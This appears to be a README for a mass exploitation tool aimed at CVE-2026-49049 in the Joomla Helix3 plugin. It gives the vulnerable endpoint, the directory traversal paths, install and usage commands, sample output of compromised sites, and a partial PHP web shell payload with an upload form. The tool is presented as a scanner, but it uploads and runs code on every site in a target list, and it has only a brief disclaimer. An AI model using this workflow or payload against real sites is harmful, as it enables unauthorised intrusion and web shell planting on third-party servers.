CVE-2026-49049 Mass Scanner

Mass vulnerability scanner for CVE-2026-49049 - Unauthenticated Remote Code Execution in Joomla Helix3 Framework.

---

📌 Description

This tool checks multiple Joomla sites for the CVE-2026-49049 vulnerability found in the Helix3 plugin. The vulnerability allows an unauthenticated attacker to upload and execute arbitrary PHP code on the target server.

The scanner attempts to:

1. Exploit the com_ajax endpoint with the helix3 plugin.
2. Upload a harmless PHP info/payload file.
3. Detect if the file is executed or just stored as raw PHP.

---

⚡ Features

• Mass scanning with multithreading (20 threads by default).
• Two detection modes:
  • ✅ Vulnerable – PHP code is executed (successful RCE).
  • ⚠️ Raw PHP – File is uploaded but not executed (code disclosure).
• Automatic payload generation with random filenames.
• Output saved to separate files for further analysis.
• Lightweight and fast with timeout handling.

---

📦 Prerequisites

• Python 2.7
• requests library

pip install requests

---

🛠 Installation

git clone https://github.com/Jenderal92/CVE-2026-49049.git
cd CVE-2026-49049
chmod +x cve-2026-49049.py

---

🚀 Usage

python2 cve-2026-49049.py targets.txt

Input Format

Each line in targets.txt should contain one domain or IP:

example.com
https://example.com
http://192.168.1.100

---

Output Files

File Description results.txt Vulnerable URLs where the payload was executed rez.txt URLs where the payload was uploaded but not executed (raw PHP)

---

Example Output

============================================================
CVE-2026-49049 Mass Scanner
Results: results.txt (executed)
Raw PHP: rez.txt (not executed)
============================================================

[*] Loaded 150 targets
[*] Using 20 threads

[+] VULNERABLE: https://target.com
[*] RAW PHP: https://target2.com
[-] NOT VULNERABLE: https://secure.com

============================================================
[+] Selesai!
[+] Vulnerable: 12
[+] Raw PHP: 5

[+] Vulnerable URLs:
    https://target.com/tmp_123456.php.json

---

⚙️ Configuration

You can adjust the following variables inside the script:

Variable Default Description THREADS 20 Number of concurrent threads PATHS ['../../../', '../../../../'] Directory traversal paths TIMEOUT 5 HTTP request timeout RESULT_FILE 'results.txt' Output file for vulnerable sites RAW_RESULT_FILE 'rez.txt' Output file for raw PHP sites

---

🧠 How It Works

The script sends a POST request to:

/index.php?option=com_ajax&plugin=helix3&format=json

with a payload that:

1. Specifies a directory traversal path (e.g., ../../../)
2. Uploads a PHP file with a random name
3. Contains a simple web shell / info page

Then it checks if the file is accessible and whether the PHP code is executed or just displayed as plain text.

Payload Example

<?php
$s = "Shinday";
echo '<center><pre><br><br><h1 style="color:red;">'.$s.'</h1><br>'.php_uname()."\n".'<br><br><br>';
// ... upload form
?>

---

⚠️ Disclaimer

This tool is for educational and authorized testing purposes only.

Unauthorized use of this tool against systems you do not own or have explicit permission to test is illegal. The author is not responsible for any misuse or damage caused by this tool.

More Disclaimer You Can see the disclaimer on the cover of Jenderal92. You can check it HERE !!!

---